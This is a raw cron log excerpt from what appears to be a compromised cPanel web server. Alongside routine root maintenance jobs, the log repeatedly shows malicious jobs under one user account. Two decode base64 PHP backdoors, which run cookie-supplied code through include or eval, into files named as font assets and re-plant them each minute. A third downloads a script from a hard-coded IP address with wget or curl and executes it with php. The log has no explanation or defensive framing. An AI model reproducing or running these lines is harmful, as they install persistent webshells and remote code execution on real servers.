Sep 11 16:25:01 ip-184-168-122-23 CROND[808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:25:01 ip-184-168-122-23 CROND[809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:25:01 ip-184-168-122-23 CROND[810]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:25:01 ip-184-168-122-23 CROND[814]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:25:01 ip-184-168-122-23 CROND[813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:25:01 ip-184-168-122-23 CROND[816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:25:01 ip-184-168-122-23 CROND[817]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 16:26:01 ip-184-168-122-23 CROND[1025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:26:01 ip-184-168-122-23 CROND[1027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:26:01 ip-184-168-122-23 CROND[1030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:26:01 ip-184-168-122-23 CROND[1028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:26:01 ip-184-168-122-23 CROND[1029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:27:01 ip-184-168-122-23 CROND[1139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:27:01 ip-184-168-122-23 CROND[1140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:27:01 ip-184-168-122-23 CROND[1142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:27:01 ip-184-168-122-23 CROND[1141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:28:01 ip-184-168-122-23 CROND[1260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:28:01 ip-184-168-122-23 CROND[1263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:28:01 ip-184-168-122-23 CROND[1264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:28:01 ip-184-168-122-23 CROND[1262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:28:01 ip-184-168-122-23 CROND[1265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:29:01 ip-184-168-122-23 CROND[1374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:29:01 ip-184-168-122-23 CROND[1375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:29:01 ip-184-168-122-23 CROND[1378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:29:01 ip-184-168-122-23 CROND[1376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:30:01 ip-184-168-122-23 CROND[1499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:30:01 ip-184-168-122-23 CROND[1502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:30:01 ip-184-168-122-23 CROND[1504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:30:01 ip-184-168-122-23 CROND[1507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:30:01 ip-184-168-122-23 CROND[1505]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:30:01 ip-184-168-122-23 CROND[1506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:30:01 ip-184-168-122-23 CROND[1508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:30:01 ip-184-168-122-23 CROND[1503]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 16:30:01 ip-184-168-122-23 CROND[1509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:31:01 ip-184-168-122-23 CROND[1698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:31:01 ip-184-168-122-23 CROND[1702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:31:01 ip-184-168-122-23 CROND[1700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:31:01 ip-184-168-122-23 CROND[1701]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 16:31:01 ip-184-168-122-23 CROND[1703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:32:01 ip-184-168-122-23 CROND[1811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:32:01 ip-184-168-122-23 CROND[1813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:32:01 ip-184-168-122-23 CROND[1814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:32:01 ip-184-168-122-23 CROND[1815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:32:01 ip-184-168-122-23 CROND[1816]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:33:01 ip-184-168-122-23 CROND[1910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:33:01 ip-184-168-122-23 CROND[1911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:33:01 ip-184-168-122-23 CROND[1913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:33:01 ip-184-168-122-23 CROND[1912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:34:01 ip-184-168-122-23 CROND[2031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:34:01 ip-184-168-122-23 CROND[2034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:34:01 ip-184-168-122-23 CROND[2033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:34:01 ip-184-168-122-23 CROND[2035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:34:01 ip-184-168-122-23 CROND[2036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:35:01 ip-184-168-122-23 CROND[2133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:35:01 ip-184-168-122-23 CROND[2136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:35:01 ip-184-168-122-23 CROND[2135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:35:01 ip-184-168-122-23 CROND[2137]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 16:35:01 ip-184-168-122-23 CROND[2139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:35:01 ip-184-168-122-23 CROND[2140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:35:01 ip-184-168-122-23 CROND[2141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:35:01 ip-184-168-122-23 CROND[2138]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 16:36:01 ip-184-168-122-23 CROND[2544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:36:01 ip-184-168-122-23 CROND[2548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:36:01 ip-184-168-122-23 CROND[2547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:36:01 ip-184-168-122-23 CROND[2550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:36:01 ip-184-168-122-23 CROND[2549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:37:01 ip-184-168-122-23 CROND[3144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
